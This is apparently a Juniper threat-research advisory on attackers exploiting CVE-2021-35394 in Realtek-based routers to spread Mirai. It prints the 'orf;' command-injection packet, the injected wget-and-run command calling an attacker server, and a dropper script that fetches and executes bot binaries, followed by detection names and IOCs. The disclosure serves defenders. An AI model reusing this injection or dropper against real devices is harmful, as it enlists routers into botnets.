

# RealTek CVE-2021-35394 Exploited in the Wild

[blogs.juniper.net/en-us/threat-research/realtek-cve-2021-35394-exploited-in-the-wild](https://blogs.juniper.net/en-us/threat-research/realtek-cve-2021-35394-exploited-in-the-wild)

By

August 27, 2021



Juniper Threat Labs has detected that the threat actors that [we recently observed exploiting CVE-2021-20090](#) are now actively exploiting [CVE-2021-35394](#), a vulnerability [disclosed last week by IoT Inspector Research Lab](#). This attack targets the Realtek RTL8xxx SoC chipsets that are used in many embedded devices, particularly wireless routers. At the time of this writing, all of the download servers used in this campaign are online and the attacks are ongoing.

## The Attack

One of the Realtek vulnerabilities disclosed last week concerns a UDP server running on port 9034. In 2015, Peter Adkins found that certain D-Link routers were running [a UDP server that allowed remote execution of arbitrary commands](#). This vulnerability was ostensibly patched, but IoT Inspector Research Lab found that the fix was simply to verify that all command strings had the prefix “orf”. This mitigation is easily circumvented by prepending “orf;” to any injected command string:

```
orf;malicious_command
```

Exploits require only a single UDP packet from the attacker. Each observed variant of this attack follows the same steps. First, the attackers use the open UDP server to inject a shell command:

```

> Frame 1: 108 bytes on wire (864 bits), 108 bytes captured (864 bits)
  Raw packet data
> Internet Protocol Version 4, Src: 45.137.23.190, Dst: 192.168.90.1
> User Datagram Protocol, Src Port: 56478, Dst Port: 9034
< Data (80 bytes)
  Data: 6f72663b6364202f746d707c7c6364202f766172262662757379626f7820776765742068...
  [Length: 80]

0000  45 00 00 6c d4 31 00 00  ee 11 98 5e 2d 89 17 be  E..l.1... ..^~...
0010  c0 a8 5a 01 dc 9e 23 4a  00 58 00 00 6f 72 66 3b  ..Z...#J .X..orf;
0020  63 64 20 2f 74 6d 70 7c  7c 63 64 20 2f 76 61 72  cd /tmp| |cd /var
0030  26 26 62 75 73 79 62 6f  78 20 77 67 65 74 20 68  &&busybo x wget h
0040  74 74 70 3a 2f 2f 34 35  2e 36 31 2e 31 38 38 2e  ttp://45 .61.188.
0050  31 38 34 2f 66 2e 73 68  20 2d 4f 20 62 2e 73 68  184/f.sh -0 b.sh
0060  26 26 73 68 20 62 2e 73  68 3b 23 0a                &&sh b.s h;#

```

Figure 1. UDP Packet sent by attacker

The injected command, seen in the data field above, is:

```
orf;cd /tmp||cd /var&&busybox wget hxxp://45[.]61.188.184/f.sh -0 b.sh&&sh b.sh;#
```

The invalid “orf” command is ignored and a shell script is downloaded, renamed and executed. The following is an example of these shell scripts:

```

n='mips mpsl arm5 arm7 sh4'
http_server='37.0.11.132'

for a in $n
do
    cat $SHELL > .b
    >.b
    busybox wget http://$http_server/b/b.$a -0- > .b
    chmod 777 .b
    ./b exploit.realtek
done

```

Figure 2. One of the shell scripts used in the command injection

This script attempts to download and run binary executables on the compromised host.

Targeted architectures include:

- ARM (v5 and v7)
- MIPS (both big- and little-endian)
- SuperH

The downloaded executables are variants of Mirai and turn the target computer into a remotely controllable bot in the threat actors' botnet.

We have observed an overlap between the IP addresses in this campaign and those in the campaign described in [a recent Juniper Threat Labs blog post](#). However, unlike the previous attacks over HTTP, the connectionless nature of UDP allows the threat actors to launch more attacks with fewer resources.

## Other Vulnerabilities

This discovery follows [SAM Seamless Network's blog post](#) last week on these threat actors exploiting another Realtek vulnerability disclosed by IoT Inspector Research Lab. As many Realtek RTL8xxx-based devices remain unpatched, we expect to see continuing attacks as more of these vulnerabilities are weaponized.

## Detection

This attack is detected on Juniper SRX devices as APP:MISC:REALTEK-JUNGLE-SDK-CI. The malicious files and servers used in this attack are blocked by the [Juniper Advanced Threat Protection](#) products.

The screenshot displays the Juniper ATP Cloud interface for a detected file. At the top, three summary boxes provide key information: Threat Level (10), Top Indicators (Signature Match: Generic, Antivirus: Clean), and Prevalence (Global prevalence: Low, Unique users: 0, Protocols seen: N/A). Below these is a navigation bar with tabs for GENERAL, BEHAVIOR ANALYSIS, NETWORK ACTIVITY, and BEHAVIOR DETAILS. The GENERAL tab is active, showing a table with three columns: Status, File Information, and Other Details.

Status	File Information	Other Details
<b>Threat Level</b> 10 <b>Global Prevalence</b> Low <b>Last Scanned</b> Aug 25, 2021 6:27 PM	<b>File Name</b> b.sh4 <b>Category</b> executable (Extension: sh4, MIME type: application/x-executable) <b>Size</b> 59KB <b>Platform</b> Generic <b>Malware Name</b> <b>Type</b> Generic <b>Strain</b> Generic	<b>sha256</b> 9bdb7d4778261bb34df931b41d32ee9188d0c7a7e10d4d68d56f6faebd047fe4 <b>md5</b> 25268788253f10c2e7678d0df4b4e315

Figure 3. Detection by Juniper ATP Cloud

## IOCs

Files:

daef5417dd163c2d2600382a484b36f594378d909ce54e5348b0c7dd1326c57d	r
1ce6590f632d1b37c77feefe60ef632c315357ddde632c0a0aab78c69616a5b4	f.sh
0018e361be72a44b7b38bbecefed8d571418e56d4d62a8e186991bef322a0c16	b.arm5
171961046ee6d18424cf466ad7e01096aecf48ed602d8725e6563ad8c61f1115	b.arm7
924b6aec8aa5935e27673ee96d43dd0d1b60f044383b558e3f66cd4331f17ef4	b.mips
98fc6b2cbd04362dc10a5445c00c23c2a2cb39d24d91beab3c200f87bfd889ab	b.mpsl
9bdb7d4778261bb34df931b41d32ee9188d0c7a7e10d4d68d56f6faebd047fe4	b.sh4
555ae4193c53af15bdcd82d534ed5f13fcc96c16c59b9e8072b5b122c6df8d4a	fbot.mips
2bfca0726b9109ab675e6bdbe0fb81e80fbf7ee6af2f129672569e5476e57b47	fbot.mpsl

Attackers:

45[.]137.23.190  
185[.]222.59.5  
103[.]145.13.80  
103[.]145.13.25

Download servers:

45[.]61.188.184  
37[.]0.11.132